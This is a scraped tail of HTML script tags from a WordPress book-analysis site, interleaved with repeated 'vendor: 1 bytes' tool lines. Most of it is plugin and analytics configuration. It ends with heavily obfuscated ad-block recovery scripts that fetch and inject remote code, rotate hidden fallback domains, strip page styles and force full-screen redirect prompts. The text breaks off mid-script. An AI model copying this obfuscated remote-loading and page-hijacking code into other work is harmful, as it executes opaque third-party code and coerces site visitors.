2929<script async data-wp-strategy="async" id="eio-lazy-load-js" src="https://bookanalysis.com/wp-content/plugins/ewww-image-optimizer/includes/lazysizes.min.js?ver=877"></script>
vendor: 1 bytes, line 2929
2929
2930<script id="generate-smooth-scroll-js-extra"> 2931var gpSmoothScroll = {"elements":[".smooth-scroll","li.smooth-scroll a"],"duration":"800","offset":""}; 2932//# sourceURL=generate-smooth-scroll-js-extra 2933</script>
vendor: 1 bytes, line 2933
2933
2934<script type="rocketlazyloadscript" id="generate-smooth-scroll-js" data-rocket-src="https://bookanalysis.com/wp-content/plugins/gp-premium/general/js/smooth-scroll.min.js?ver=2.5.6" data-rocket-defer defer></script>
vendor: 1 bytes, line 2934
2934
2935<script type="rocketlazyloadscript" id="react-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/dist/vendor/react.min.js?ver=18.3.1.1" data-rocket-defer defer></script>
vendor: 1 bytes, line 2935
2935
2936<script type="rocketlazyloadscript" id="wp-dom-ready-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/dist/dom-ready.min.js?ver=3fe927cab37bf38d6a23" data-rocket-defer defer></script>
vendor: 1 bytes, line 2936
2936
2937<script type="rocketlazyloadscript" id="react-dom-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/dist/vendor/react-dom.min.js?ver=18.3.1.1" data-rocket-defer defer></script>
vendor: 1 bytes, line 2937
2937
2938<script type="rocketlazyloadscript" id="wp-escape-html-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/dist/escape-html.min.js?ver=87ebe53e97bba59805a5" data-rocket-defer defer></script>
vendor: 1 bytes, line 2938
2938
2939<script type="rocketlazyloadscript" id="wp-element-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/dist/element.min.js?ver=4a4370b2b349066fd440" data-rocket-defer defer></script>
vendor: 1 bytes, line 2939
2939
2940<script id="toc-sticky-frontend-js-extra"> 2941var tocStickyTexts = {"toc":"Table of Contents","limit":"10","limitTop":"80","readPoem":"Read Poem","poetryReviewCorner":"Poetry+ Review Corner","comments":"Comments","scrollMarginTop":"50","scrollMarginTopMobile":"40","scrollMarginTopPoem":"300","scrollMarginTopPoemMobile":"335","stickyNav":"yes","videoContainerId":"cls-video-container-6z01apvc","mobileBreakpoint":"768","mobileAnchorElement":".toc-sticky-container"}; 2942//# sourceURL=toc-sticky-frontend-js-extra 2943</script>
vendor: 1 bytes, line 2943
2943
2944<script type="rocketlazyloadscript" data-minify="1" id="toc-sticky-frontend-js" data-rocket-src="https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/toc-sticky/build/index.js?ver=1789576904" data-rocket-defer defer></script>
vendor: 1 bytes, line 2944
2944
2945<script id="wordlift-js-extra"> 2946var wlSettings = {"ajaxUrl":"https://bookanalysis.com/wp-admin/admin-ajax.php","apiUrl":"https://bookanalysis.com/wl-api/","jsonld_url":"https://bookanalysis.com/wp-json/wordlift/v1/jsonld/","postId":"59965","jsonld_enabled":""}; 2947//# sourceURL=wordlift-js-extra 2948</script>
vendor: 1 bytes, line 2948
2948
2949<script type="rocketlazyloadscript" id="wordlift-js" data-rocket-src="https://bookanalysis.com/wp-content/plugins/wordlift/js/dist/bundle.js?ver=3.54.15" data-rocket-defer defer></script>
vendor: 1 bytes, line 2949
2949
2950<script id="wordlift-cloud-js-extra"> 2951var _wlCloudSettings = {"selector":"a.wl-entity-page-link","url":"https://bookanalysis.com/wp-json/wordlift/v1/jsonld"}; 2952//# sourceURL=wordlift-cloud-js-extra 2953</script>
vendor: 1 bytes, line 2953
2953
2954<script type="rocketlazyloadscript" id="wordlift-cloud-js" defer="defer" data-rocket-src="https://bookanalysis.com/wp-content/plugins/wordlift/js/dist/wordlift-cloud.js?ver=3.54.15"></script>
vendor: 1 bytes, line 2954
2954
2955<script type="rocketlazyloadscript" id="generate-menu-js-before"> 2956var generatepressMenu = {"toggleOpenedSubMenus":true,"openSubMenuLabel":"Open Sub-Menu","closeSubMenuLabel":"Close Sub-Menu"}; 2957//# sourceURL=generate-menu-js-before 2958</script>
vendor: 1 bytes, line 2958
2958
2959<script id="generate-menu-js" src="https://bookanalysis.com/wp-content/themes/generatepress/assets/js/menu.min.js?ver=3.6.1"></script>
vendor: 1 bytes, line 2959
2959
2960<script type="rocketlazyloadscript" data-minify="1" id="generate-modal-js" data-rocket-src="https://bookanalysis.com/wp-content/cache/min/1/wp-content/themes/generatepress/assets/dist/modal.js?ver=1789576904" data-rocket-defer defer></script>
vendor: 1 bytes, line 2960
2960
2961<script type="rocketlazyloadscript" id="wd-asp-ajaxsearchpro-js-before"> 2962if ( typeof window.ASP == 'undefined') { window.ASP = {wp_rocket_exception: "DOMContentLoaded", ajaxurl: "https:\/\/bookanalysis.com\/wp-admin\/admin-ajax.php", backend_ajaxurl: "https:\/\/bookanalysis.com\/wp-admin\/admin-ajax.php", js_scope: "jQuery", asp_url: "https:\/\/bookanalysis.com\/wp-content\/plugins\/ajax-search-pro\/", upload_url: "https:\/\/bookanalysis.com\/wp-content\/uploads\/asp_upload\/", css_basic_url: "https:\/\/bookanalysis.com\/wp-content\/uploads\/asp_upload\/style.basic-ho-is-po-no-da-co-au-ga-se-is.css", detect_ajax: 0, media_query: "oSqQAe", version: 5036, pageHTML: "", additional_scripts: [], script_async_load: false, font_url: "https:\/\/bookanalysis.com\/wp-content\/plugins\/ajax-search-pro\/css\/fonts\/icons\/icons2.woff2", init_only_in_viewport: true, scrollbar: true, css_async: false, highlight: {"enabled":false,"data":[]}, debug: false, instances: {}, analytics: {"method":"0","tracking_id":"","string":"?ajax_search={asp_term}","event":{"focus":{"active":1,"action":"focus","category":"ASP {search_id} | {search_name}","label":"Input focus","value":"1"},"search_start":{"active":0,"action":"search_start","category":"ASP {search_id} | {search_name}","label":"Phrase: {phrase}","value":"1"},"search_end":{"active":1,"action":"search_end","category":"ASP {search_id} | {search_name}","label":"{phrase} | {results_count}","value":"1"},"magnifier":{"active":1,"action":"magnifier","category":"ASP {search_id} | {search_name}","label":"Magnifier clicked","value":"1"},"return":{"active":1,"action":"return","category":"ASP {search_id} | {search_name}","label":"Return button pressed","value":"1"},"try_this":{"active":1,"action":"try_this","category":"ASP {search_id} | {search_name}","label":"Try this click | {phrase}","value":"1"},"facet_change":{"active":0,"action":"facet_change","category":"ASP {search_id} | {search_name}","label":"{option_label} | {option_value}","value":"1"},"result_click":{"active":1,"action":"result_click","category":"ASP {search_id} | {search_name}","label":"{result_title} | {result_url}","value":"1"}}}}}; 2963window.ASP_INSTANCES = [];window.ASP_INSTANCES[3] = {"homeurl":"https:\/\/bookanalysis.com\/","is_results_page":0,"resultstype":"vertical","resultsposition":"hover","resultsSnapTo":"left","results":{"width":"auto","width_tablet":"auto","width_phone":"auto"},"itemscount":3,"charcount":0,"highlight":0,"highlightWholewords":1,"singleHighlight":0,"scrollToResults":{"enabled":0,"offset":0},"autocomplete":{"enabled":1,"trigger_charcount":0,"googleOnly":1,"lang":"en","mobile":1},"trigger":{"delay":300,"autocomplete_delay":310,"update_href":0,"facet":1,"type":1,"click":"ajax_search","click_location":"same","return":"ajax_search","return_location":"same","redirect_url":"?s={phrase}","elementor_url":"https:\/\/bookanalysis.com\/?asp_ls={phrase}"},"overridewpdefault":1,"override_method":"get","settings":{"hideChildren":0},"settingsimagepos":"right","settingsVisible":0,"settingsHideOnRes":0,"prescontainerheight":"400px","closeOnDocClick":1,"focusOnPageload":0,"isotopic":{"itemWidth":"200px","itemWidthTablet":"200px","itemWidthPhone":"200px","itemHeight":"200px","itemHeightTablet":"200px","itemHeightPhone":"200px","pagination":1,"rows":2,"gutter":5,"showOverlay":1,"blurOverlay":1,"hideContent":1},"loaderLocation":"auto","show_more":{"enabled":0,"url":"?s={phrase}","elementor_url":"https:\/\/bookanalysis.com\/?asp_ls={phrase}","action":"ajax","location":"same","infinite":1},"mobile":{"trigger_on_type":1,"click_action":"ajax_search","return_action":"ajax_search","click_action_location":"same","return_action_location":"same","redirect_url":"?s={phrase}","elementor_url":"https:\/\/bookanalysis.com\/?asp_ls={phrase}","menu_selector":"#menu-toggle","hide_keyboard":1,"force_res_hover":0,"force_sett_hover":0,"force_sett_state":"none"},"compact":{"enabled":0,"focus":1,"width":"100%","width_tablet":"480px","width_phone":"320px","closeOnMagnifier":1,"closeOnDocument":0,"position":"static","overlay":0},"sb":{"redirect_action":"ajax_search","redirect_location":"same","redirect_url":"?s={phrase}","elementor_url":"https:\/\/bookanalysis.com\/?asp_ls={phrase}"},"rb":{"action":"nothing"},"animations":{"pc":{"settings":{"anim":"fadedrop","dur":300},"results":{"anim":"fadedrop","dur":300},"items":"voidanim"},"mob":{"settings":{"anim":"fadedrop","dur":300},"results":{"anim":"fadedrop","dur":300},"items":"voidanim"}},"select2":{"nores":"No results match"},"detectVisibility":0,"autop":{"state":"disabled","phrase":"","count":10},"resPage":{"useAjax":0,"selector":"#main","trigger_type":1,"trigger_facet":1,"trigger_magnifier":0,"trigger_return":0},"fss_layout":"flex","scrollBar":{"vertical":{"autoHide":1},"horizontal":{"enabled":1,"autoHide":1},"settings":{"autoHide":0}},"divi":{"bodycommerce":0},"preventBodyScroll":0,"statistics":1}; 2964//# sourceURL=wd-asp-ajaxsearchpro-js-before 2965</script>
vendor: 1 bytes, line 2965
2965
2966<script type="rocketlazyloadscript" id="wd-asp-ajaxsearchpro-js" data-rocket-src="https://bookanalysis.com/wp-content/plugins/ajax-search-pro/js/legacy/min/jquery.ajaxsearchpro-sb.min.js?ver=oSqQAe" data-rocket-defer defer></script>
vendor: 1 bytes, line 2966
2966
2967<script type="rocketlazyloadscript" id="js-cookie-js" data-rocket-src="https://bookanalysis.com/wp-content/plugins/wp-review-pro/public/js/js.cookie.min.js?ver=2.1.4" data-rocket-defer defer></script>
vendor: 1 bytes, line 2967
2967
2968<script type="rocketlazyloadscript" data-minify="1" id="wp_review-jquery-appear-js" data-rocket-src="https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/wp-review-pro/public/js/jquery.appear.js?ver=1789576904" data-rocket-defer defer></script>
vendor: 1 bytes, line 2968
2968
2969<script id="wp-util-js-extra"> 2970var _wpUtilSettings = {"ajax":{"url":"/wp-admin/admin-ajax.php"}}; 2971//# sourceURL=wp-util-js-extra 2972</script>
vendor: 1 bytes, line 2972
2972
2973<script type="rocketlazyloadscript" id="wp-util-js" data-rocket-src="https://bookanalysis.com/wp-includes/js/wp-util.min.js?ver=7.1" data-rocket-defer defer></script>
vendor: 1 bytes, line 2973
2973
2974<script id="wp_review-js-js-extra"> 2975var wpreview = {"ajaxurl":"https://bookanalysis.com/wp-admin/admin-ajax.php","popup":{"enable":"0","width":"800px","animation_in":"bounceIn","animation_out":"bounceOut","overlay_color":"#0b0b0b","overlay_opacity":"0.8","post_type":"post","queryby":"category","orderby":"random","category":"0","tag":"0","review_type":"star","limit":"6","expiration":"30","cookie_name":"wpr-popup","delay":"0","show_on_load":false,"show_on_reach_bottom":false,"exit_intent":true,"screen_size_check":false,"screen_width":"0","embed_show_title":"","embed_show_thumbnail":"","embed_show_excerpt":"","embed_show_rating_box":"","embed_show_credit":""},"rateAllFeatures":"Please rate all features","verifiedPurchase":"(Verified purchase)","commentImageUploadNonce":"ed0a1c339b"}; 2976//# sourceURL=wp_review-js-js-extra 2977</script>
vendor: 1 bytes, line 2977
2977
2978<script type="rocketlazyloadscript" data-minify="1" id="wp_review-js-js" data-rocket-src="https://bookanalysis.com/wp-content/cache/min/1/wp-content/plugins/wp-review-pro/public/js/main.js?ver=1789576904" data-rocket-defer defer></script>
vendor: 1 bytes, line 2978
2978
2979<script type="rocketlazyloadscript" id="jquery-knob-js" data-rocket-src="https://bookanalysis.com/wp-content/plugins/wp-review-pro/public/js/jquery.knob.min.js?ver=1.1" data-rocket-defer defer></script>
vendor: 1 bytes, line 2979
2979
2980<script id="jetpack-stats-js-before"> 2981_stq = window._stq || []; 2982_stq.push([ "view", {"v":"ext","blog":"173105085","post":"59965","tz":"1","srv":"bookanalysis.com","j":"1:16.2"} ]); 2983_stq.push([ "clickTrackerInit", "173105085", "59965" ]); 2984//# sourceURL=jetpack-stats-js-before 2985</script>
vendor: 1 bytes, line 2985
2985
2986<script data-wp-strategy="defer" defer fetchpriority="low" id="jetpack-stats-js" src="https://stats.wp.com/e-202638.js"></script>
vendor: 1 bytes, line 2986
2986
2987<script id="cp-popup-script-js-extra"> 2988var cp_ajax = {"url":"https://bookanalysis.com/wp-admin/admin-ajax.php","ajax_nonce":"a6fcd2d3e9","assets_url":"https://bookanalysis.com/wp-content/plugins/convertpro/assets/","not_connected_to_mailer":"This form is not connected with any mailer service! Please contact web administrator.","timer_labels":"Years,Months,Weeks,Days,Hours,Minutes,Seconds","timer_labels_singular":"Year,Month,Week,Day,Hour,Minute,Second","image_on_ready":"","cpro_mx_valid":"0","invalid_email_id":"Invalid Email Address!"}; 2989var cp_pro = {"inactive_time":"60"}; 2990var cp_pro_url_cookie = {"days":"30"}; 2991var cp_ga_object = {"ga_auth_type":"universal-ga","ga_category_name":"Convert Pro","ga_event_name":"CONVERTPRO"}; 2992var cp_v2_ab_tests = {"cp_v2_ab_tests_object":[]}; 2993//# sourceURL=cp-popup-script-js-extra 2994</script>
vendor: 1 bytes, line 2994
2994
2995<script type="rocketlazyloadscript" id="cp-popup-script-js" defer="defer" data-rocket-src="https://bookanalysis.com/wp-content/plugins/convertpro/assets/modules/js/cp-popup.min.js?ver=1.8.10"></script>
2995 2996 2997
2997<script type="rocketlazyloadscript" data-rocket-type="text/javascript"> 2998 2999 jQuery(document).on( "cp_after_form_submit", function( e, element, response 3000 , style_slug ) { 3001 3002 if( false == response.data.error ) { 3003 3004 if( 'undefined' !== typeof response.data['cfox_data'] ) { 3005 var form_data = JSON.parse( response.data['cfox_data'] ); 3006 3007 form_data.overwrite_tags = false; 3008 3009 if( 'undefined' !== typeof convertfox ) { 3010 convertfox.identify( form_data ); 3011 } 3012 } 3013 } 3014 3015 }); 3016 3017 3018 </script>
3018 3019 <!-- This is minified version of cp-ga-front.js file located at convertpro-addon/analytics/assets/js/cp-ga-front.js if you want to make changes to this, edit cp-ga-front.js file, minify it and paste code here --> 3020 <!-- Escaping not required, as it is hardcoded, not user-generated --> 3021 3022
3022<script type="text/javascript"> 3023 !function(e){e(window).on("cp_after_popup_open",(function(e,t,o,n){var c=jQuery('.cp-popup-container[data-style="cp_style_'+n+'"]').data("styleslug");cpUpdateImpressions(c)})),cpUpdateImpressions=function(e){var t=cp_ga_object.ga_category_name;cpCreateGoogleAnalyticEvent(t,"impression",e)},cpIsModuleOnScreen=function(e){var t=jQuery(window),o={top:t.scrollTop(),left:t.scrollLeft()};o.right=o.left+t.width(),o.bottom=o.top+t.height();var n=e.offset();return n.right=n.left+e.outerWidth(),n.bottom=n.top+e.outerHeight(),!(o.right<n.left||o.left>n.right||o.bottom<n.top||o.top>n.bottom)},e(document).on("cp_after_form_submit",(function(e,t,o,n){if(!0===o.success){var c=cp_ga_object.ga_category_name;cpCreateGoogleAnalyticEvent(c,"conversion",n)}})),cpCreateGoogleAnalyticEvent=function(e,t,o){var n="gtag";void 0!==cp_ga_object.ga_auth_type&&"gtm-code"===cp_ga_object.ga_auth_type&&(n="gtm-code"),"undefined"!=typeof dataLayer&&"gtm-code"==n?dataLayer.push({event:cp_ga_object.ga_event_name,eventCategory:e,eventAction:t,eventLabel:o,eventValue:"1",nonInteraction:!0}):"gtag"==n&&"undefined"!=typeof gtag&>ag("event",t,{event_label:o,event_category:e,non_interaction:!0})},cp_track_inline_modules=function(){jQuery(".cp-popup-container.cp-module-before_after, .cp-popup-container.cp-module-inline, .cp-popup-container.cp-module-widget").each((function(){var e=jQuery(this);e.data("style").replace("cp_style_","");if(cpIsModuleOnScreen(e)&&!e.hasClass("cp-impression-counted")){var t=e.data("styleslug");cpUpdateImpressions(t),e.addClass("cp-impression-counted")}}))},e(document).ready((function(){cp_track_inline_modules()})),e(document).on("scroll",(function(e){cp_track_inline_modules()}))}(jQuery); 3024 </script>
3024 3025
3025<script data-no-optimize='1' data-cfasync='false' id='adblock-detection-6f1ed98'>(function(){(function(e){if(e.cookie.indexOf(`__adblocker`)===-1){let t=!1,n=function(){t=!0};window.addEventListener(`pagehide`,n);let r=navigator.userAgent,i=/AppleWebKit/.test(r)&&!/Chrome/.test(r)||/\b(iPad|iPhone|iPod)\b/.test(r),a=new XMLHttpRequest;a.open(`GET`,`https://ads.adthrive.com/abd/abd.js`,!0),a.onreadystatechange=function(){if(a.readyState===4){if(window.removeEventListener(`pagehide`,n),a.status===200){let t=e.createElement(`script`);t.innerHTML=a.responseText,e.getElementsByTagName(`head`)[0].appendChild(t);return}if(!navigator.onLine||t||i&&e.visibilityState===`hidden`)return;let r=new Date;r.setTime(r.getTime()+300*1e3),e.cookie=`__adblocker=true; expires=`+r.toUTCString()+`; path=/`}},a.send()}})(document)})();</script>
3025<script data-no-optimize='1' data-cfasync='false' data-abr-mode='light' id='adblock-recovery-6f1ed98'>(function(){(function(){var e=document.currentScript,t=e&&e.dataset&&e.dataset.abrMode?e.dataset.abrMode:`light`;function n(){var e=document.cookie.match(`(^|[^;]+)\\s*__adblocker\\s*=\\s*([^;]+)`);return e&&e.pop()}function r(){var e=document.createElement(`script`);e.async=!0,e.id=`Tqgkgu`,e.setAttribute(`data-sdk`,`l/1.1.15`),e.setAttribute(`data-cfasync`,`false`),e.src=`https://html-load.com/loader.min.js`,e.charset=`UTF-8`,e.setAttribute(`data`,`kfpvgbrkab9r4a5rkrqrkwagrw6rzrv8rxag0asrka5abaoagrxa5srxrxabasrkrvabaoaxrx0asrkabrxfaba1raa5a5asrkr9wa1agrw6rzr9rkaia8`),e.setAttribute(`onload`,`(async()=>{let e='html-'+'load.com';const t=window,a=document,r=e=>new Promise((t=>{const a=.1*e,r=e+Math.floor(2*Math.random()*a)-a;setTimeout(t,r)})),o=t.addEventListener.bind(t),n=t.postMessage.bind(t),s=btoa,i='message',l=location,c=Math.random;try{const t=()=>new Promise(((e,t)=>{let a=c().toString(),r=c().toString();o(i,(e=>e.data===a&&n(r,'*'))),o(i,(t=>t.data===r&&e())),n(a,'*'),setTimeout((()=>{t(Error('Timeout'))}),1231)})),a=async()=>{try{let e=!1;const a=c().toString();if(o(i,(t=>{t.data===a+'_as_res'&&(e=!0)})),n(a+'_as_req','*'),await t(),await r(500),e)return!0}catch(e){}return!1},s=[100,500,1e3];for(let o=0;o<=s.length&&!await a();o++){if(o===s.length-1)throw'Failed to load website properly since '+e+' is tainted. Please allow '+e;await r(s[o])}}catch(d){try{const e=a.querySelector('script#Tqgkgu').getAttribute('onerror');t[s(l.hostname+'_show_bfa')]=d,await new Promise(((t,r)=>{o('message',(e=>{'as_modal_loaded'===e.data&&t()})),setTimeout((()=>r(d)),3e3);const n=a.createElement('script');n.innerText=e,a.head.appendChild(n),n.remove()}))}catch(m){(t=>{const a='https://report.error-report.com/modal';try{confirm('There was a problem loading the page. Please click OK to learn more.')?l.href=a+'?url='+s(l.href)+'&error='+s(t)+'&domain='+e:l.reload()}catch(d){location.href=a+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+e}})(d)}}})();`),e.setAttribute(`onerror`,`(async()=>{const e=window,t=document;let r=JSON.parse(atob('WyJodG1sLWxvYWQuY29tIiwiZmIuaHRtbC1sb2FkLmNvbSIsImQzN2o4cGZ4dTJpb2dpLmNsb3VkZnJvbnQubmV0IiwiY29udGVudC1sb2FkZXIuY29tIiwiZmIuY29udGVudC1sb2FkZXIuY29tIl0=')),o=r[0];const a='addEventListener',n='setAttribute',s='getAttribute',i=location,l=clearInterval,c='as_retry',d=i.hostname,h=e.addEventListener.bind(e),m=btoa,u='https://report.error-report.com/modal',b=e=>{try{confirm('There was a problem loading the page. Please click OK to learn more.')?i.href=u+'?url='+m(i.href)+'&error='+m(e)+'&domain='+o:i.reload()}catch(t){location.href=u+'?eventId=&error=Vml0YWwgQVBJIGJsb2NrZWQ%3D&domain='+o}},p=async e=>{try{localStorage.setItem(i.host+'_fa_'+m('last_bfa_at'),Date.now().toString())}catch(p){}setInterval((()=>t.querySelectorAll('link,style').forEach((e=>e.remove()))),100);const r=await fetch('https://error-report.com/report?type=loader_light&url='+m(i.href)+'&error='+m(e),{method:'POST'}).then((e=>e.text())),a=new Promise((e=>{h('message',(t=>{'as_modal_loaded'===t.data&&e()}))}));let s=t.createElement('iframe');s.src=u+'?url='+m(i.href)+'&eventId='+r+'&error='+m(e)+'&domain='+o,s[n]('style','width:100vw;height:100vh;z-index:2147483647;position:fixed;left:0;top:0;');const c=e=>{'close-error-report'===e.data&&(s.remove(),removeEventListener('message',c))};h('message',c),t.body.appendChild(s);const d=setInterval((()=>{if(!t.contains(s))return l(d);(()=>{const e=s.getBoundingClientRect();return'none'!==getComputedStyle(s).display&&0!==e.width&&0!==e.height})()||(l(d),b(e))}),1e3);await new Promise(((t,r)=>{a.then(t),setTimeout((()=>r(e)),3e3)}))},f=m(d+'_show_bfa');if(e[f])p(e[f]);else try{if(void 0===e[c]&&(e[c]=0),e[c]>=r.length)throw'Failed to load website properly since '+o+' is blocked. Please allow '+o;if((()=>{const t=e=>{let t=0;for(let r=0,o=e.length;o>r;r++)t=(t<<5)-t+e.charCodeAt(r),t|=0;return t},r=Date.now(),o=r-r%864e5,a=o-864e5,n=o+864e5,s='loader-check',i='as_'+t(s+'_'+o),l='as_'+t(s+'_'+a),c='as_'+t(s+'_'+n);return i!==l&&i!==c&&l!==c&&!!(e[i]||e[l]||e[c])})())return;const i=t.querySelector('#Tqgkgu'),l=t.createElement('script');for(let e=0;e<i.attributes.length;e++)l[n](i.attributes[e].name,i.attributes[e].value);const h=m(d+'_onload');e[h]&&l[a]('load',e[h]);const u=m(d+'_onerror');e[u]&&l[a]('error',e[u]);const b=new e.URL(i[s]('src'));b.host=r[e[c]++],l[n]('src',b.href),i[n]('id',i[s]('id')+'_'),i.parentNode.insertBefore(l,i),i.remove()}catch(w){try{await p(w)}catch(w){b(w)}}})();`),document.head.appendChild(e);var t=document.createElement(`script`);t.setAttribute(`data-cfasync`,`false`),t.setAttribute(`nowprocket`,``),t.textContent=`(async()=>{function t(t) { const e = t.length; let o = ''; for (let r = 0; e > r; r++) { o += t[2939 * (r + 20) % e] } return o }const e=window,o=t('Elementcreate'),r=t('pielnddaCph'),n=t('erdeLtedvtsnaEni'),c=t('tAtesetubirt'),a=document,i=a.head,s=a[o].bind(a),d=i[r].bind(i),l=location,m=l.hostname,h=btoa;e[n].bind(e);let u=t('oad.comhtml-l');(async()=>{try{const n=a.querySelector(t('#Tqgkguscript'));if(!n)throw t('onnaC dnif t')+u+t('i.cp rts');const i=n.getAttribute(t('nororre')),f=n.getAttribute(t('aolnod')),p=await new Promise((o=>{const r=t('x')+Math.floor(1e6*Math.random());e[r]=()=>o(!0);const n=s(t('pircst'));n.src=t(':atad;'),n[c](t('nororre'),t('iw.wodn')+r+t('()')),d(n),setTimeout((()=>{o(!1), n.remove()}),251)}));if(p)return;function o(){const e=s(t('pircst'));e.innerText=i,d(e),e.remove()}const b=h(m+t('o_daoln')),w=h(m+t('rrnr_eoo'));e[b]=function(){const e=s(t('pircst'));e.innerText=f,d(e),e.remove()},e[w]=o,o()}catch(r){(e => { const o = t('ro/treeol/t-.dsoormterpmh/.rca:rrtopp'); try { const r = t('cleopr eges.eke aremtc. m Ta apdo ool t ahrOsaibwr iPhl enKegnlael'); confirm(r) ? l.href = o + t('?=lru') + h(l.href) + t('e&=rorr') + h(e) + t('a=oi&mnd') + u : l.reload() }
3025 catch (r) { location.href = o + t('J%ndVVNdvrYGQiI=Q2&ee0IWatrgbD?&lJZmnows3==mBroerW') + u } })(r)}})()})();`,document.head.appendChild(t)}function i(){var e=document.createElement(`script`);e.setAttribute(`data-cfasync`,`false`),e.dataset.domain=`html-load.cc`,e.textContent=`(function(){function p(){const X=['W64nwmoJW7hdK8kjW7BcUMu','W60xWQxcMW','WRabWRBcHq','W7fJWRm/','xmoZvmkR','W6BdLSo8Aq','W59mcrC','qdZdImop','WQuUq0S','W5WQW4FdLW','pCkHygO','WPHguSoy','W6tcGaHl','qN/dRSkS','W4b6WO0','W4fucuW','W4tdNSoVeq','W5pcISoUwq','aa0ywq','amkvhuu','mZhcMmkm','WOm3WOKv','WRVcH8kkwmoJBCoXW5/cMq','x8kPW57dTG','mSo9se8','EIvxoW','W51ihf8','WRexWQFcJG','g3BdPCox','cWSCrq','W6L+WQ1G','mCkIBMS','W5WIW4JdISkVW5BdRCkPnCku','W7rtW7JcNG','WORcSWu','W5hdR8o0W4y','nSkKW6NdVW','jqBcUXO','ax7cMa','W6iex8oZjCk9W45Utq','WPPqv8oz','W6zsWQhcRa','W4JdHmk1bG','sSo9q8kS','kItcN1O','W4tdN8kSfW','WQ5Aa8k0','W5mgdvW','kYhcVIK','fmozW7a/','W6n9WQvR','W7b1WQ5X','WRizWPW','hSkGW43dKa','W6OgvSoJW4hdUSkWW4dcGKa','aHSvBa','WP8SWOGi','rmkkqH3cM23cPSoHW7xcOq','WO7cI0ZcKa','W4ZdH8kHW4e','WRldMLuoWRqlFSkYr8o+W4pdGG','jH3cRmkA','A8k6c2FdS2tdSuldSW','oY3cGWe','W6FdNmoqCq','c2dcLwy','v2ubWOC','o8oju8og','W4xdLSkYwq','WRfEW6NdHG','W78yW6BcRa','nmovW60S','WOhcQSkWWPPqB2tdUaPvC8o/','WO3dG8kPhW','W47dKCk2','a8kTW4tcSa','WOvmaSop','dwdcJNK','WRnnW69a','sNFdRG','WOrwwCow','WRewWQu','o1BcPCkx','tCo7DmkP','WQObWQFcJq','jWVdSLG','z8o0mem0lYJcT8kq','W4hcTbpdGG','a8kNW7ZdKq','pcxcJCkr','xCkWuSkM','WPGsrq4qWQz2s8oPW6RdPW','fCkGW4i','WOqDwHPcW4KGWOJcJW','CSkWz2u','WOS/W4/dNa','xdddQmop','WQ/dMSojW58','WPXru8of','pvZcS8oEkaVdLgbvlMK','W7nrW7lcVJRdUYVcTvO','WP5dwSof','WO9qsmoh','W4ebdSkkamkLrZCvW5mDFG','wMOrWOm','udJdUCoc','vNCgWOm','mCkNqgy','W7/dR8kGbq','m8kKW7m','W5ZcNCk+W5i','WQ0cWOLG','W7FcVCooca','CCo0WRpdNeryoCk4lW','zv/cPmks','cwNdJCog','rNxdVSk6','WRjrW5a9','W79lW69f','W5T2W4Tq','ue9ieCowrwlcUMpdUNDw','W4BdNSk3','xSkQW6VdJa','pN8jWPG','nmoTyge','E1RcPe/cVZ3cOCk4W4tdTq','umo7xCkH','n27cMSki','W5RdJW/dG3ZdOCowW4lcNJhdUW','qCo8WO7dQ8kuWR8QW4Gusqa','a8ofzCoE','EwpcIJddHrTkW7u','gSkveua','pdxcGCki','e8k8W5pcUa','es7cHSkD','WOHdwCoh','W6JcMGvy','W5NdIq7dHNJcPSoMW4dcKJVdL3e','W69+W69S','i8kQWQNdQa','W6WyWONdHq','WP/cVHTX','WRLEWRqy','ib7dOGy','W73cN8oQW5xcGCkXWOJcHW','xZlcNCoTWQldGX0MiG','EWpdSSolW7HaW4b5jhBdQCkC','W5FdUCoOWOC','xSkKW4u'];p=function(){return X;};return p();}function m(M,v){M=M-(0x1*-0x434+0x530+0xf);const y=p();let z=y[M];if(m['XTFFmC']===undefined){var d=function(Z){const D='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let a='',Q='';for(let i=-0x1*-0x6ff+-0x2392+0x1c93,O,w,b=0x1*0x17b+-0xe3d+0xcc2*0x1;w=Z['charAt'](b++);~w&&(O=i%(-0x1b*-0x104+-0x1*0x1d12+-0xd5*-0x2)?O*(0x6*0x5+0xa9*-0x2c+-0x33e*-0x9)+w:w,i++%(0x1*0x1f8d+-0x3*-0x7cd+-0x36f0))?a+=String['fromCharCode'](-0x1*-0xd77+-0x1dad+0x1135&O>>(-(0x275+0x14aa+0x3d*-0x61)*i&-0x6*-0x250+0x1c28+-0x2a02)):0xb*0x185+0x1be9*0x1+-0x2ca0){w=D['indexOf'](w);}for(let f=-0xc76+0xfe2+-0xdb*0x4,X=a['length'];f<X;f++){Q+='%'+('00'+a['charCodeAt'](f)['toString'](0x25b9+-0x15ee+-0x1*0xfbb))['slice'](-(-0x1e51+0x5c4+0x188f));}return decodeURIComponent(Q);};const s=function(Z,D){let a=[],k=0x1d2f+0x1cc9+-0x1a8*0x23,Q,O='';Z=d(Z);let w;for(w=-0x137*0x1+-0x17cc+-0x1*-0x1903;w<-0x171*0xb+-0x221f+0x3a*0xe1;w++){a[w]=w;}for(w=0xa*-0x261+0x1342+0x488;w<-0x2164+-0x3*0x3b9+0x6b*0x6d;w++){k=(k+a[w]+D['charCodeAt'](w%D['length']))%(0x787+-0x1bb2+0x1*0x152b),Q=a[w],a[w]=a[k],a[k]=Q;}w=-0x1*-0x2303+0x59*-0x3+0x21f8*-0x1,k=0x2*-0x42e+0xa35+0x1d9*-0x1;for(let b=-0x1*0x1689+-0x11dc+0x47d*0x9;b<Z['length'];b++){w=(w+(0xe81+-0x2*-0xc3b+-0x1*0x26f6))%(0x246+0x1*-0xdbf+0xc79),k=(k+a[w])%(0x117c+0x225b+-0x89*0x5f),Q=a[w],a[w]=a[k],a[k]=Q,O+=String['fromCharCode'](Z['charCodeAt'](b)^a[(a[w]+a[k])%(-0x2303+-0x5ae+-0x335*-0xd)]);}return O;};m['HzMkAo']=s,m['Fpxfub']={},m['XTFFmC']=!![];}const 